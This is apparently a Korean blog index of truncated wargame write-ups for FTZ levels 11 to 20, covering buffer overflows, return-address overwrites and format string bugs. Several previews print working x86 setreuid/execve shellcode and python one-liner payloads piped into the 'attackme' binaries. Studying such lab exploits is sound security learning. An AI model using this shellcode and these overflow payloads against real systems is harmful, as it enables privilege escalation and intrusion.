System/FTZ 29

FTZ. 20

level20 // we are just regular guys 대망의 마지막 문제! 배열의 크기는 80인데 fgets 에서 입력받는 크기는 79이다. 즉 bof 로 ret 값을 변조가 안된다는 것이다. 그럼 무엇을 쓰면 좋을까? 다른것과 비교해 봤을 때 printf에서 차이점이 드러난다. 포맷스트링 %s를 사용하지 않고 단순 배열을 매개변수로 받는다. 이것은 FSB(Format String Bug)취약점이 발생하게 된다. 포맷스트링 에는 여러가지가 있다. %c : 단일문자 출력 %x : 부호없는 16진수 출력 %n : 이전까지 쓰인 byte 수만큼 저장 FSB에서 가장 중요한 포맷스트링은 %x, %n 이다. %x는 메모리를 읽어낼때, %n은 %n이 가리키는 주소에 저장할때! 먼저 메모리 구조를 대충 읽..

System/FTZ 2019.09.06

FTZ. 19

level19 // swimming in pink 심플한 코드이다. 환경변수를 이용해 ret에 그 주소를 넣어줘야 겠다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` (python -c 'print "\x90"*44+"\x60\xfe\xff\xbf"';cat)|./attackme 성공!?!? ...? 실패였다. 확인해보니 다른 코드와는 달리 setreuid가 없는게 차이점이였다. level20의 ..

System/FTZ 2019.09.06

FTZ. 17

level17 // king poetic 16번과 다르게 "/bash/sh" 가 없다. 그렇다면 환경변수를 이용해 공격해보자고 생각했다. SH의 페이로드는 다음과 같다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 등록한 후 주소를 알아 보았다. little endian : \x5f\xfe\xff\xbf (python -c 'print "\x90"*40+"\x5f\xfe\xff\xbf"';cat)..

System/FTZ 2019.09.06

FTZ. 16

level 16 // about to cause mass 힌트는 다음과 같다. 이번엔 함수의 주소를 이용해야 겠다고 생각이 들었다. main 디버깅 한 것을 보니 이렇게 구성이 되어있다고 생각하게 되었다. call에 shell 함수의 주소를 넣어주면 되겠다. shell함수 디버깅을 통해 함수의 주소를 찾아내었다. : 0x080484d0 이를 이용해 buf,dummy를 NOP으로 덮고 call 에 shell 함수의 주소를 넣어주는 페이로드를 작성하였다. (python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme 성공!

System/FTZ 2019.09.06

FTZ. 15

level15 // guess what 포인터 변수의 값이 deadbeef가 되면 쉘을 주는 문제이다. gdb 디버깅을 통해 일단 포인터 변수에 주소를 입력해 주어주면 될것같다. 첨에 환경변수로 접근하려고 했는데 계속 실패해서 담에 더 공부하고 해보기로한다. 군침이 도는 0xdeadbeef 이 부분의 주소를 따내면 될것같다. x/10x로 비교하는 주소부분부터 10개씩 보았다. 'deadbeef' 이친구가 시작하는 주소는 0x080484b2 이라는 것을 알아내었다. 페이로드를 작성하자 (구조는 전과 같으니 생략) (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat)|./attackme

System/FTZ 2019.09.06

FTZ. 13

level13 // have no clue 힌트는 다음과 같다. i값이 변하면 위험하다고 검사해주는 녀석인것 같다. 자세한 분석을 위해 디버깅! i를 덮어쓰면 안된다. 환경변수를 이용! 일단 strcpy함수가 보이기에 공격을 강행해본다. 우선 환경변수먼저 등록해준다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 환경변수 주소를 얻었다. : 0xbffffe5b (little endian : \x5b..

System/FTZ 2019.09.06

FTZ. 12

level12 // it is like this 힌트는 다음과 같다. main 함수를 분석하면 핵심 부분이 있는데 그 부분은 gets 함수를 사용하는데있다. gets()함수는 사용자가 엔터를 치기 전까지 입력한 값들을 인자로 주어진 메모리 주소에 저장한다. 즉, 엔터를 입력하기 전까지 얼마든지 많은 값을 입력할 수 있다는 말이다. ->문자열을 입력받지만 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않는다. 환경변수를 이용한 공격을 해보겠습니다. SH라는 환경변수를 넣어주었다. export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x6..

System/FTZ 2019.09.06

FTZ. 11

level11 // what!@#$? 힌트는 다음과 같다. attackme의 c소스로 보인다. 이 파일을 /tmp에 복사해서 gdb로 디버깅을 해보았다. main 함수를 분석하면 핵심 부분이 있는데 그 부분은 strcpy 함수를 사용하는데있다. strcpy함수는 버퍼 경계 사이즈를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 취약점이 발생한다. 일단 이와 같은 어셈블리로 보아 이렇게 예상해 볼 수 있었다. BOF공격에는 달고나 문서를 참고하니 3가지 공격기법이 있었다. 고전적인 방법 (shellcode가 있는 곳의 address를 추측하는방법, 노가다성이 너무 짙고 힘들어서 지금은 거의 사용 X) 환경변수를 이용하는 방법 Return into libc 기법 이중 나는 환경변수를 이용하는 방법을 택했다...

System/FTZ 2019.09.06